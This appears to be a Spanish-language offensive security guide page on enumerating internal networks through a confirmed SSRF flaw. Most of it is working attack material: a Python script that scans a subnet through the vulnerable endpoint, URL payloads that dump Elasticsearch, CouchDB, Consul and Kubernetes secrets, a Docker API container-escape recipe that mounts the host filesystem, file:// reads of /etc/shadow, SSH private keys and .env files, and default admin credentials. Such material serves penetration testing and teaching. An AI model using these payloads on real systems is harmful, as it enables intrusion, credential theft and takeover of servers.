enumeracion-interna
Enumeración interna
Section titled “Enumeración interna”Con un SSRF confirmado el siguiente paso es mapear todo lo que hay detrás del firewall: hosts activos, puertos abiertos, servicios corriendo, y paneles de administración accesibles solo desde dentro.
Descubrir hosts activos en la red interna
Section titled “Descubrir hosts activos en la red interna”Método 1 — Diferencia de tiempo de respuesta
Section titled “Método 1 — Diferencia de tiempo de respuesta”Lógica:→ Host activo, puerto cerrado: TCP RST inmediato (~50ms)→ Host activo, puerto abierto: TCP SYN-ACK con respuesta HTTP (~100-500ms)→ Host inactivo / filtrado: timeout (~5-30s dependiendo del servidor)
Cuanto más lento = host no existe o filtradoCuanto más rápido con error ≠ conexión rechazada = host existeimport requests, time, concurrent.futures
SSRF = "https://target.com/fetch?url={}"
def check_host(ip): try: start = time.time() r = requests.get(SSRF.format(f"http://{ip}/"), timeout=5) elapsed = time.time() - start # Respuesta rápida (aunque sea error) = host existe if elapsed < 4: return ip, elapsed, r.status_code, len(r.content) except: pass return None
# Escanear subred /24subnet = "10.10.10"hosts = [f"{subnet}.{i}" for i in range(1, 255)]
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex: for result in ex.map(check_host, hosts): if result: ip, elapsed, status, length = result print(f"[+] {ip} → {status} ({elapsed:.2f}s, {length}b)")Método 2 — Diferencia en el mensaje de error
Section titled “Método 2 — Diferencia en el mensaje de error”# La app puede devolver mensajes de error distintos que revelan si el host existe:
# Host activo (puerto cerrado):→ "Connection refused"→ "Connection reset by peer"→ "No route to host" ← host existe pero no responde en ese puerto
# Host inactivo:→ "Connection timed out"→ "Network unreachable"→ "Host unreachable"
# Comparar respuestas para un host conocido vs IP aleatoria:url=http://192.168.1.1/ → "Connection refused" (router existe)url=http://192.168.1.250/ → "timeout" (host no existe)Rangos de red privada a probar
Section titled “Rangos de red privada a probar”# Más comunes en entornos corporativos y cloudhttp://10.0.0.1/ # Clase A privadahttp://10.0.0.0/8 # Rango completo: 10.0.0.0 - 10.255.255.255http://172.16.0.1/ # Clase B privadahttp://172.16.0.0/12 # Rango: 172.16.0.0 - 172.31.255.255http://192.168.0.1/ # Clase C privadahttp://192.168.0.0/16 # Rango: 192.168.0.0 - 192.168.255.255
# Docker default bridgehttp://172.17.0.1/ # Docker host desde un contenedorhttp://172.17.0.2/ # Primer contenedorhttp://172.17.0.0/16 # Red Docker completa
# Kuberneteshttp://10.96.0.1/ # Kubernetes API service (default)http://10.96.0.10/ # CoreDNShttp://kubernetes.default.svc.cluster.local/ # API server via DNShttp://kubernetes/ # Short name
# Localhosthttp://127.0.0.1/http://localhost/http://[::1]/
# Link-local (metadata cloud)http://169.254.169.254/ # AWS / Azurehttp://169.254.0.0/16 # Todo el rango link-localEscaneo de puertos en hosts descubiertos
Section titled “Escaneo de puertos en hosts descubiertos”Puertos prioritarios por servicio
Section titled “Puertos prioritarios por servicio”# Web / Admin panels80 HTTP443 HTTPS8080 HTTP alternativo / Tomcat8443 HTTPS alternativo8888 Jupyter Notebook / varios3000 Node.js / Grafana4848 GlassFish Admin9000 SonarQube / PHP-FPM9090 Prometheus / Cockpit9200 Elasticsearch HTTP9300 Elasticsearch transport5601 Kibana
# Bases de datos3306 MySQL5432 PostgreSQL1433 MSSQL1521 Oracle27017 MongoDB5984 CouchDB6379 Redis11211 Memcached7474 Neo4j
# Mensajería / Cola5672 RabbitMQ AMQP15672 RabbitMQ Management61616 ActiveMQ
# Infraestructura / DevOps2375 Docker API (sin TLS — crítico)2376 Docker API (con TLS)2379 etcd (Kubernetes)2380 etcd peer6443 Kubernetes API server8001 Kubernetes Dashboard proxy10250 Kubelet API4001 etcd legacy
# Monitorización / Orchestration8500 Consul HTTP API8600 Consul DNS8300 Consul server RPC4040 Linkerd / Spark UI4141 Linkerd proxy7077 Spark master8088 YARN ResourceManager50070 Hadoop NameNode
# Otros servicios internos22 SSH21 FTP23 Telnet25 SMTP53 DNS161 SNMP389 LDAP445 SMB512-514 RSH/Rexec/Rlogin (legacy)873 Rsync2049 NFSEnumerar servicios internos con output visible
Section titled “Enumerar servicios internos con output visible”Si el SSRF refleja la respuesta, se puede interactuar directamente con los servicios:
Elasticsearch (9200)
Section titled “Elasticsearch (9200)”# Ver información del clusterhttp://127.0.0.1:9200/http://127.0.0.1:9200/_cat/indices?v # Listar índiceshttp://127.0.0.1:9200/_cat/nodes?v # Nodos del clusterhttp://127.0.0.1:9200/_cluster/stats # Estadísticas
# Listar todos los documentos de un índicehttp://127.0.0.1:9200/INDEX_NAME/_search?pretty&size=100
# Buscar en todos los índiceshttp://127.0.0.1:9200/_search?q=password&prettyhttp://127.0.0.1:9200/_search?q=secret&pretty
# Acceder a índices con datos sensibles (nombres comunes)http://127.0.0.1:9200/users/_search?prettyhttp://127.0.0.1:9200/credentials/_search?prettyhttp://127.0.0.1:9200/logs/_search?prettyhttp://127.0.0.1:9200/audit/_search?prettyMongoDB (27017)
Section titled “MongoDB (27017)”# Sin autenticación, MongoDB responde en el puerto pero solo a comandos propios# Con SSRF + gopher se pueden enviar comandos
# Con output visible, verificar si hay interfaz HTTP (MongoDB 2.x tenía HTTP en 28017)http://127.0.0.1:28017/ # Legacy HTTP interfacehttp://127.0.0.1:28017/admin/ # Admin panelCouchDB (5984)
Section titled “CouchDB (5984)”# CouchDB tiene API REST completa — SSRF con output visible = dump completohttp://127.0.0.1:5984/ # Info del servidorhttp://127.0.0.1:5984/_all_dbs # Listar bases de datoshttp://127.0.0.1:5984/DB_NAME/_all_docs # Todos los documentoshttp://127.0.0.1:5984/_utils/ # Panel web Fauxton
# Crear usuario admin (si no tiene auth)# Via SSRF POST: http://127.0.0.1:5984/_usersDocker API (2375) — Sin TLS
Section titled “Docker API (2375) — Sin TLS”# Docker API expuesto sin TLS = RCE garantizadohttp://127.0.0.1:2375/version # Versión de Dockerhttp://127.0.0.1:2375/containers/json # Contenedores en ejecuciónhttp://127.0.0.1:2375/images/json # Imágenes disponibleshttp://127.0.0.1:2375/info # Info completa del daemon
# Crear contenedor privilegiado para escapar al host:# POST http://127.0.0.1:2375/containers/create# Body: {"Image":"alpine","Cmd":["chroot","/host","bash"],"Binds":["/:/host"],"Privileged":true}# POST http://127.0.0.1:2375/containers/ID/start# POST http://127.0.0.1:2375/containers/ID/exec (ejecutar comandos)Consul (8500)
Section titled “Consul (8500)”# Consul API — información del cluster y configuraciónhttp://127.0.0.1:8500/v1/agent/self # Info del agente localhttp://127.0.0.1:8500/v1/catalog/services # Servicios registradoshttp://127.0.0.1:8500/v1/catalog/nodes # Nodos del clusterhttp://127.0.0.1:8500/v1/kv/?recurse=true # Key-Value store completo# El KV store puede contener: contraseñas, tokens, configuracionesKubernetes (6443 / 8001)
Section titled “Kubernetes (6443 / 8001)”# API server (6443 requiere auth, pero a veces hay misconfiguraciones)https://10.96.0.1:6443/api/v1/namespaces # Listar namespaceshttps://10.96.0.1:6443/api/v1/pods # Listar podshttps://10.96.0.1:6443/api/v1/secrets # Secretos (tokens, passwords)https://10.96.0.1:6443/api/v1/configmaps # ConfigMaps
# Dashboard proxy (8001) — sin auth si está mal configuradohttp://127.0.0.1:8001/api/v1/namespaces/default/podshttp://127.0.0.1:8001/ui/ # Kubernetes Dashboard UI
# Service account token (desde dentro del pod)http://127.0.0.1:8001/api/v1/namespaces/kube-system/secretsPaneles de administración internos
Section titled “Paneles de administración internos”# Jenkins (8080 más común)http://127.0.0.1:8080/http://127.0.0.1:8080/script # Groovy console → RCEhttp://127.0.0.1:8080/credentials/ # Credenciales almacenadashttp://127.0.0.1:8080/manage # Panel de administraciónhttp://10.0.0.X:8080/api/json # API de Jenkins
# Grafana (3000)http://127.0.0.1:3000/http://127.0.0.1:3000/api/datasources # Fuentes de datos (credenciales DB)http://127.0.0.1:3000/api/org/users # Usuarioshttp://127.0.0.1:3000/api/admin/settings # Configuración (requiere admin)# Default creds: admin/admin
# Prometheus (9090)http://127.0.0.1:9090/http://127.0.0.1:9090/api/v1/targets # Targets monitorizadoshttp://127.0.0.1:9090/api/v1/query?query=up # Métricas
# Kibana (5601)http://127.0.0.1:5601/http://127.0.0.1:5601/api/saved_objects/_find # Dashboards/índices
# Spring Boot Actuator (endpoints internos de diagnóstico)http://127.0.0.1:8080/actuator # Lista de endpoints activoshttp://127.0.0.1:8080/actuator/env # Variables de entorno (contraseñas en claro)http://127.0.0.1:8080/actuator/dump # Heap dump (puede contener credenciales)http://127.0.0.1:8080/actuator/mappings # Endpoints de la apphttp://127.0.0.1:8080/actuator/beans # Beans de Spring (info de la app)http://127.0.0.1:8080/actuator/health # Estado de la app y sus dependencias
# phpMyAdmin (varios puertos)http://127.0.0.1/phpmyadmin/http://127.0.0.1:8080/phpmyadmin/
# Tomcat Manager (8080)http://127.0.0.1:8080/manager/html # Deploy de WARs → RCEhttp://127.0.0.1:8080/host-manager/html# Default creds: tomcat/tomcat, admin/admin, tomcat/s3cret
# RabbitMQ Management (15672)http://127.0.0.1:15672/http://127.0.0.1:15672/api/overview# Default creds: guest/guest
# Hadoop NameNode (50070)http://127.0.0.1:50070/http://127.0.0.1:50070/jmx # JMX con mucha infohttp://127.0.0.1:50070/webhdfs/v1/?op=LISTSTATUS # Listar HDFS
# Jupyter Notebook (8888)http://127.0.0.1:8888/ # A veces sin token → RCE Pythonhttp://127.0.0.1:8888/api/kernels # Kernels activoshttp://127.0.0.1:8888/tree # Árbol de archivosLeer archivos del sistema con file://
Section titled “Leer archivos del sistema con file://”# Si el cliente HTTP del servidor soporta file://file:///etc/passwdfile:///etc/shadowfile:///etc/hostsfile:///etc/hostnamefile:///proc/versionfile:///proc/self/environ # Variables de entorno del proceso webfile:///proc/self/cmdline # Comando con el que se lanzó el procesofile:///proc/net/tcp # Conexiones TCP (revela IPs internas en hex)file:///root/.ssh/id_rsafile:///home/usuario/.ssh/id_rsa
# Configuración de la appfile:///var/www/html/.envfile:///var/www/html/config.phpfile:///app/config/database.ymlfile:///opt/app/.env
# Windowsfile:///C:/Windows/win.inifile:///C:/inetpub/wwwroot/web.configfile:///C:/Users/Administrator/.ssh/id_rsaLos Spring Boot Actuator endpoints son uno de los hallazgos más frecuentes en red interna via SSRF:
/actuator/envexpone todas las variables de entorno incluyendo contraseñas de bases de datos en texto plano.
El Docker API en puerto 2375 sin TLS es automáticamente RCE: crear un contenedor con el filesystem del host montado y ejecutar comandos. Verificar siempre este puerto en cualquier entorno con contenedores.
Al escanear la red interna, empezar siempre por los rangos más probables según el entorno:
172.17.0.0/16para Docker,10.96.0.0/12para Kubernetes,169.254.169.254para metadata cloud.